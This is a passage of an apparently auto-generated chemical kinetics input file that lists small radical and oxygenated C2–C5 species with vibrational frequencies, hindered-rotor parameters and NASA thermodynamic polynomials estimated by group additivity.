HinderedRotor(inertia=(0.538647,'amu*angstrom^2'), symmetry=1, barrier=(12.3846,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.53905,'amu*angstrom^2'), symmetry=1, barrier=(12.3938,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.538268,'amu*angstrom^2'), symmetry=1, barrier=(12.3758,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (97.092,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.768363,0.0790697,-0.00012985,1.13852e-07,-3.84309e-11,7105.95,25.2599], Tmin=(100,'K'), Tmax=(872.086,'K')), NASAPolynomial(coeffs=[8.30276,0.0277666,-1.28059e-05,2.3603e-09,-1.57872e-13,6428.58,-6.40717], Tmin=(872.086,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(58.1781,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(270.22,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cdd-O2d)CsOsH) + group(Cds-CdsCsH) + group(Cds-(Cdd-O2d)CsH) + group(Cds-CdsHH) + radical(Cds_S)"""),
)
species(
label = 'C#CC(O)C[C]=O(28248)',
structure = SMILES('C#CC(O)C[C]=O'),
E0 = (30.0025,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([750,770,3400,2100,1855,455,950,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,2175,525,3615,1277.5,1000,317.212],'cm^-1')),
HinderedRotor(inertia=(0.407769,'amu*angstrom^2'), symmetry=1, barrier=(29.1166,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.144927,'amu*angstrom^2'), symmetry=1, barrier=(10.3485,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.144927,'amu*angstrom^2'), symmetry=1, barrier=(10.3485,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.144927,'amu*angstrom^2'), symmetry=1, barrier=(10.3485,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (97.092,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.973447,0.0667846,-8.27717e-05,5.44777e-08,-1.41519e-11,3717.25,26.9222], Tmin=(100,'K'), Tmax=(945.781,'K')), NASAPolynomial(coeffs=[12.2323,0.0191684,-7.25432e-06,1.24783e-09,-8.18873e-14,1587.52,-26.768], Tmin=(945.781,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(30.0025,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(266.063,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-OdCsH) + group(Ct-CtCs) + group(Ct-CtH) + radical(CCCJ=O)"""),
)
species(
label = '[CH2][C]=O(601)',
structure = SMILES('[CH2][C]=O'),
E0 = (160.864,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3000,3100,440,815,1455,1000,672.051,672.102],'cm^-1')),
HinderedRotor(inertia=(0.000373196,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (42.0367,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.57974,0.00389613,2.17609e-05,-3.06386e-08,1.18311e-11,19367.5,10.1348], Tmin=(100,'K'), Tmax=(961.532,'K')), NASAPolynomial(coeffs=[6.4326,0.00553733,-1.87382e-06,3.59985e-10,-2.76653e-14,18194.3,-6.76404], Tmin=(961.532,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(160.864,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(103.931,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cs-(Cds-O2d)HHH) + group(Cds-OdCsH) + radical(CJC=O) + radical(CsCJ=O)"""),
)
species(
label = '[CH2][C]=CO(18753)',
structure = SMILES('[CH2][C]=CO'),
E0 = (186.672,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3000,3100,440,815,1455,1000,1685,370,3615,1277.5,1000,3010,987.5,1337.5,450,1655],'cm^-1')),
HinderedRotor(inertia=(1.23523,'amu*angstrom^2'), symmetry=1, barrier=(28.4004,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(1.2351,'amu*angstrom^2'), symmetry=1, barrier=(28.3973,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (56.0633,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.24497,0.0260528,1.3484e-05,-5.00525e-08,2.54383e-11,22526.5,14.0801], Tmin=(100,'K'), Tmax=(898.827,'K')), NASAPolynomial(coeffs=[16.2027,-0.00210248,3.79693e-06,-8.3211e-10,5.63273e-14,18645.6,-59.4], Tmin=(898.827,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(186.672,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(174.604,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsOsH) + radical(Cds_S) + radical(Allyl_P)"""),
)
species(
label = 'OH(D)(132)',
structure = SMILES('[OH]'),
E0 = (28.3945,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3668.68],'cm^-1')),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (17.0073,'amu'),
collisionModel = TransportData(shapeIndex=1, epsilon=(665.16,'J/mol'), sigma=(2.75,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.51457,2.92814e-05,-5.32177e-07,1.01951e-09,-3.85951e-13,3414.25,2.10435], Tmin=(100,'K'), Tmax=(1145.75,'K')), NASAPolynomial(coeffs=[3.07194,0.000604011,-1.39759e-08,-2.13452e-11,2.4807e-15,3579.39,4.57799], Tmin=(1145.75,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(28.3945,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), label="""OH(D)""", comment="""Thermo library: primaryThermoLibrary"""),
)
species(
label = 'C=C=CC[C]=O(17857)',
structure = SMILES('C=C=CC[C]=O'),
E0 = (207.401,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1855,455,950,2750,2850,1437.5,1250,1305,750,350,540,610,2055,3010,987.5,1337.5,450,1655,2950,3100,1380,975,1025,1650,180],'cm^-1')),
HinderedRotor(inertia=(0.837153,'amu*angstrom^2'), symmetry=1, barrier=(19.2478,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.833656,'amu*angstrom^2'), symmetry=1, barrier=(19.1674,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (81.0926,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.87226,0.0394271,-1.81593e-05,-1.99254e-09,2.42603e-12,25027.1,20.9956], Tmin=(100,'K'), Tmax=(1224.98,'K')), NASAPolynomial(coeffs=[12.1375,0.0189865,-9.1451e-06,1.81782e-09,-1.3045e-13,21530.9,-34.6167], Tmin=(1224.98,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(207.401,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(249.434,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + group(Cdd-CdsCds) + radical(CCCJ=O)"""),
)
species(
label = '[CH2]C=C(O)C[C]=O(14292)',
structure = SMILES('[CH2]C=C(O)C[C]=O'),
E0 = (-32.2631,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.837486,0.0561656,-2.47053e-05,-1.53133e-08,1.12259e-11,-3754.67,25.9803], Tmin=(100,'K'), Tmax=(1006.09,'K')), NASAPolynomial(coeffs=[18.8412,0.0140044,-5.70522e-06,1.15888e-09,-8.87536e-14,-8866.19,-68.3855], Tmin=(1006.09,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-32.2631,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + group(Cds-OdCsH) + radical(CCCJ=O) + radical(Allyl_P)"""),
)
species(
label = 'C=[C]C(O)C=C[O](28249)',
structure = SMILES('C=[C]C(O)C=C[O]'),
E0 = (81.4283,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.868191,0.058578,-3.69679e-05,-9.29534e-10,6.33511e-12,9915.51,28.8847], Tmin=(100,'K'), Tmax=(984.284,'K')), NASAPolynomial(coeffs=[17.0756,0.0152893,-5.40257e-06,9.93485e-10,-7.19861e-14,5631.38,-54.6052], Tmin=(984.284,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(81.4283,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(O2s-(Cds-Cd)H) + group(Cs-(Cds-Cds)(Cds-Cds)OsH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + group(Cds-CdsOsH) + group(Cds-CdsHH) + radical(C=COJ) + radical(Cds_S)"""),
)
species(
label = '[CH]=CC(O)C[C]=O(14298)',
structure = SMILES('[CH]=CC(O)C[C]=O'),
E0 = (111.149,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3120,650,792.5,1650,3615,1277.5,1000,1855,455,950,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,3010,987.5,1337.5,450,1655,320.129],'cm^-1')),
HinderedRotor(inertia=(0.123847,'amu*angstrom^2'), symmetry=1, barrier=(8.9959,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.12368,'amu*angstrom^2'), symmetry=1, barrier=(9.00012,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.123695,'amu*angstrom^2'), symmetry=1, barrier=(8.99841,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.123734,'amu*angstrom^2'), symmetry=1, barrier=(8.99724,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.13551,0.0648547,-7.10464e-05,4.22013e-08,-1.0197e-11,13469.7,29.133], Tmin=(100,'K'), Tmax=(997.841,'K')), NASAPolynomial(coeffs=[11.0998,0.0249108,-1.10003e-05,2.08363e-09,-1.45734e-13,11481.2,-18.9174], Tmin=(997.841,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(111.149,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(CCCJ=O) + radical(Cds_P)"""),
)
species(
label = 'C=CC([O])C[C]=O(12767)',
structure = SMILES('C=CC([O])C[C]=O'),
E0 = (94.4133,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1855,455,950,2750,2850,1437.5,1250,1305,750,350,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,3010,987.5,1337.5,450,1655,327.467,327.498,327.512],'cm^-1')),
HinderedRotor(inertia=(0.00157168,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.133556,'amu*angstrom^2'), symmetry=1, barrier=(10.162,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.133511,'amu*angstrom^2'), symmetry=1, barrier=(10.1618,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(4010.29,'J/mol'), sigma=(6.50189,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with Tc=626.40 K, Pc=33.11 bar (from Joback method)"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.30725,0.0581918,-5.17956e-05,2.43758e-08,-4.69957e-12,11453,27.9144], Tmin=(100,'K'), Tmax=(1226.77,'K')), NASAPolynomial(coeffs=[11.6362,0.0245133,-1.06162e-05,1.99763e-09,-1.39207e-13,8918.77,-24.028], Tmin=(1226.77,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(94.4133,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(CC(C)OJ) + radical(CCCJ=O)"""),
)
species(
label = 'C=CC(O)[CH][C]=O(14294)',
structure = SMILES('C=CC(O)[CH][C]=O'),
E0 = (63.9546,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.2287,0.0582732,-5.36454e-05,2.59033e-08,-5.04887e-12,7793.95,30.8846], Tmin=(100,'K'), Tmax=(1228.63,'K')), NASAPolynomial(coeffs=[12.4737,0.0216632,-8.94916e-06,1.65057e-09,-1.13938e-13,5030.77,-25.6812], Tmin=(1228.63,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(63.9546,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(CCCJ=O) + radical(CCJCO)"""),
)
species(
label = '[CH2][C]=C(O)CC=O(28250)',
structure = SMILES('[CH2][C]=C(O)CC=O'),
E0 = (45.618,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.842567,0.0581513,-3.53725e-05,3.99068e-10,4.41859e-12,5609.93,25.6206], Tmin=(100,'K'), Tmax=(1072.73,'K')), NASAPolynomial(coeffs=[17.4026,0.0174378,-7.85734e-06,1.57946e-09,-1.16711e-13,846.698,-61.0761], Tmin=(1072.73,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(45.618,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + group(Cds-OdCsH) + radical(Allyl_P) + radical(Cds_S)"""),
)
species(
label = 'C=[C]C([O])CC=O(14297)',
structure = SMILES('C=[C]C([O])CC=O'),
E0 = (172.294,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1685,370,2750,2850,1437.5,1250,1305,750,350,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,2782.5,750,1395,475,1775,1000,370.795,371.138,371.89],'cm^-1')),
HinderedRotor(inertia=(0.00121778,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.101842,'amu*angstrom^2'), symmetry=1, barrier=(9.97963,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.101963,'amu*angstrom^2'), symmetry=1, barrier=(9.97948,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.56303,0.0571762,-5.18673e-05,2.64087e-08,-5.77184e-12,20807,26.6598], Tmin=(100,'K'), Tmax=(1059.6,'K')), NASAPolynomial(coeffs=[8.5899,0.0306493,-1.43145e-05,2.78136e-09,-1.9716e-13,19317.9,-7.64749], Tmin=(1059.6,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(172.294,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CC(C)OJ)"""),
)
species(
label = 'C#CC(O)C[CH][O](23564)',
structure = SMILES('C#CC(O)C[CH][O]'),
E0 = (199.017,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([750,770,3400,2100,3025,407.5,1350,352.5,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,2175,525,3615,1277.5,1000,344.785,345.399,345.557],'cm^-1')),
HinderedRotor(inertia=(0.127325,'amu*angstrom^2'), symmetry=1, barrier=(10.7897,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.00156688,'amu*angstrom^2'), symmetry=1, barrier=(10.8007,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.597782,'amu*angstrom^2'), symmetry=1, barrier=(50.4435,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(1.41526,'amu*angstrom^2'), symmetry=1, barrier=(119.627,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.681206,0.0778725,-0.000112468,9.02623e-08,-2.87334e-11,24051,28.2333], Tmin=(100,'K'), Tmax=(859.09,'K')), NASAPolynomial(coeffs=[9.81069,0.0278662,-1.20622e-05,2.18601e-09,-1.46063e-13,22759.2,-12.8141], Tmin=(859.09,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(199.017,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(O2s-CsH) + group(Cs-CsCsHH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Ct-CtCs) + group(Ct-CtH) + radical(CCOJ) + radical(CCsJOH)"""),
)
species(
label = '[CH2][C]=CC[C]=O(17860)',
structure = SMILES('[CH2][C]=CC[C]=O'),
E0 = (420.137,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1685,370,2750,2850,1437.5,1250,1305,750,350,3010,987.5,1337.5,450,1655,1855,455,950,3000,3100,440,815,1455,1000,1129.72],'cm^-1')),
HinderedRotor(inertia=(0.768165,'amu*angstrom^2'), symmetry=1, barrier=(17.6616,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.764939,'amu*angstrom^2'), symmetry=1, barrier=(17.5875,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.0481167,'amu*angstrom^2'), symmetry=1, barrier=(17.5892,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 4,
opticalIsomers = 1,
molecularWeight = (81.0926,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(3515.61,'J/mol'), sigma=(5.8495,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with Tc=549.13 K, Pc=39.86 bar (from Joback method)"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.7824,0.0420099,-2.54006e-05,5.06578e-09,1.62036e-13,50616.2,23.0245], Tmin=(100,'K'), Tmax=(1352.82,'K')), NASAPolynomial(coeffs=[12.9961,0.0178358,-8.55624e-06,1.67303e-09,-1.17996e-13,46760.2,-37.5019], Tmin=(1352.82,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(420.137,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(245.277,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + radical(Allyl_P) + radical(Cds_S) + radical(CCCJ=O)"""),
)
species(
label = 'C=[C]C([O])C[C]=O(14302)',
structure = SMILES('C=[C]C([O])C[C]=O'),
E0 = (332.255,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1685,370,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,1855,455,950,2950,3100,1380,975,1025,1650,292.381,298.886,303.876],'cm^-1')),
HinderedRotor(inertia=(0.00185725,'amu*angstrom^2'), symmetry=1, barrier=(0.121645,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.123482,'amu*angstrom^2'), symmetry=1, barrier=(8.24342,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.126955,'amu*angstrom^2'), symmetry=1, barrier=(8.24204,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 4,
opticalIsomers = 1,
molecularWeight = (97.092,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.36142,0.0616158,-7.18919e-05,4.697e-08,-1.26519e-11,40053,28.205], Tmin=(100,'K'), Tmax=(893.913,'K')), NASAPolynomial(coeffs=[9.33575,0.0259326,-1.20145e-05,2.31392e-09,-1.62872e-13,38627.3,-9.37216], Tmin=(893.913,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(332.255,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(270.22,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CC(C)OJ) + radical(CCCJ=O)"""),
)
species(
label = '[CH2][C]=C(O)C[C]=O(28251)',
structure = SMILES('[CH2][C]=C(O)C[C]=O'),
E0 = (205.579,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3615,1277.5,1000,1855,455,950,350,440,435,1725,2750,2850,1437.5,1250,1305,750,350,3000,3100,440,815,1455,1000,1685,370,406.919],'cm^-1')),
HinderedRotor(inertia=(0.145973,'amu*angstrom^2'), symmetry=1, barrier=(17.1474,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.145972,'amu*angstrom^2'), symmetry=1, barrier=(17.1474,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.145945,'amu*angstrom^2'), symmetry=1, barrier=(17.1467,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.145965,'amu*angstrom^2'), symmetry=1, barrier=(17.1468,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 4,
opticalIsomers = 1,
molecularWeight = (97.092,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.777086,0.0610561,-5.03401e-05,1.4776e-08,4.56097e-14,24849.9,26.6727], Tmin=(100,'K'), Tmax=(1069.77,'K')), NASAPolynomial(coeffs=[17.9853,0.0129575,-5.67572e-06,1.13674e-09,-8.42668e-14,20238.6,-61.852], Tmin=(1069.77,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(205.579,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(266.063,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + group(Cds-OdCsH) + radical(Allyl_P) + radical(Cds_S) + radical(CCCJ=O)"""),
)
species(
label = 'C=[C]C(O)[CH][C]=O(28252)',
structure = SMILES('C=[C]C(O)[CH][C]=O'),
E0 = (301.796,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3615,1277.5,1000,3025,407.5,1350,352.5,1855,455,950,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,1685,370,507.865,4000],'cm^-1')),
HinderedRotor(inertia=(0.0767533,'amu*angstrom^2'), symmetry=1, barrier=(14.0422,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.610743,'amu*angstrom^2'), symmetry=1, barrier=(14.0422,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.135768,'amu*angstrom^2'), symmetry=1, barrier=(3.12158,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.0767733,'amu*angstrom^2'), symmetry=1, barrier=(14.0421,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 4,
opticalIsomers = 1,
molecularWeight = (97.092,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.34314,0.0610288,-7.15808e-05,4.58942e-08,-1.19548e-11,36391.2,30.956], Tmin=(100,'K'), Tmax=(929.363,'K')), NASAPolynomial(coeffs=[10.1585,0.0230865,-1.03406e-05,1.9636e-09,-1.37227e-13,34752.7,-10.9272], Tmin=(929.363,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(301.796,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(266.063,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(CCJCO) + radical(CCCJ=O) + radical(Cds_S)"""),
)
species(
label = '[CH]=[C]C(O)C[C]=O(28253)',
structure = SMILES('[CH]=[C]C(O)C[C]=O'),
E0 = (348.99,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3120,650,792.5,1650,3615,1277.5,1000,1855,455,950,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,1685,370,272.183],'cm^-1')),
HinderedRotor(inertia=(0.150805,'amu*angstrom^2'), symmetry=1, barrier=(7.92794,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.150809,'amu*angstrom^2'), symmetry=1, barrier=(7.92804,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.150806,'amu*angstrom^2'), symmetry=1, barrier=(7.92802,'kJ/mol'), semiclassical=False),
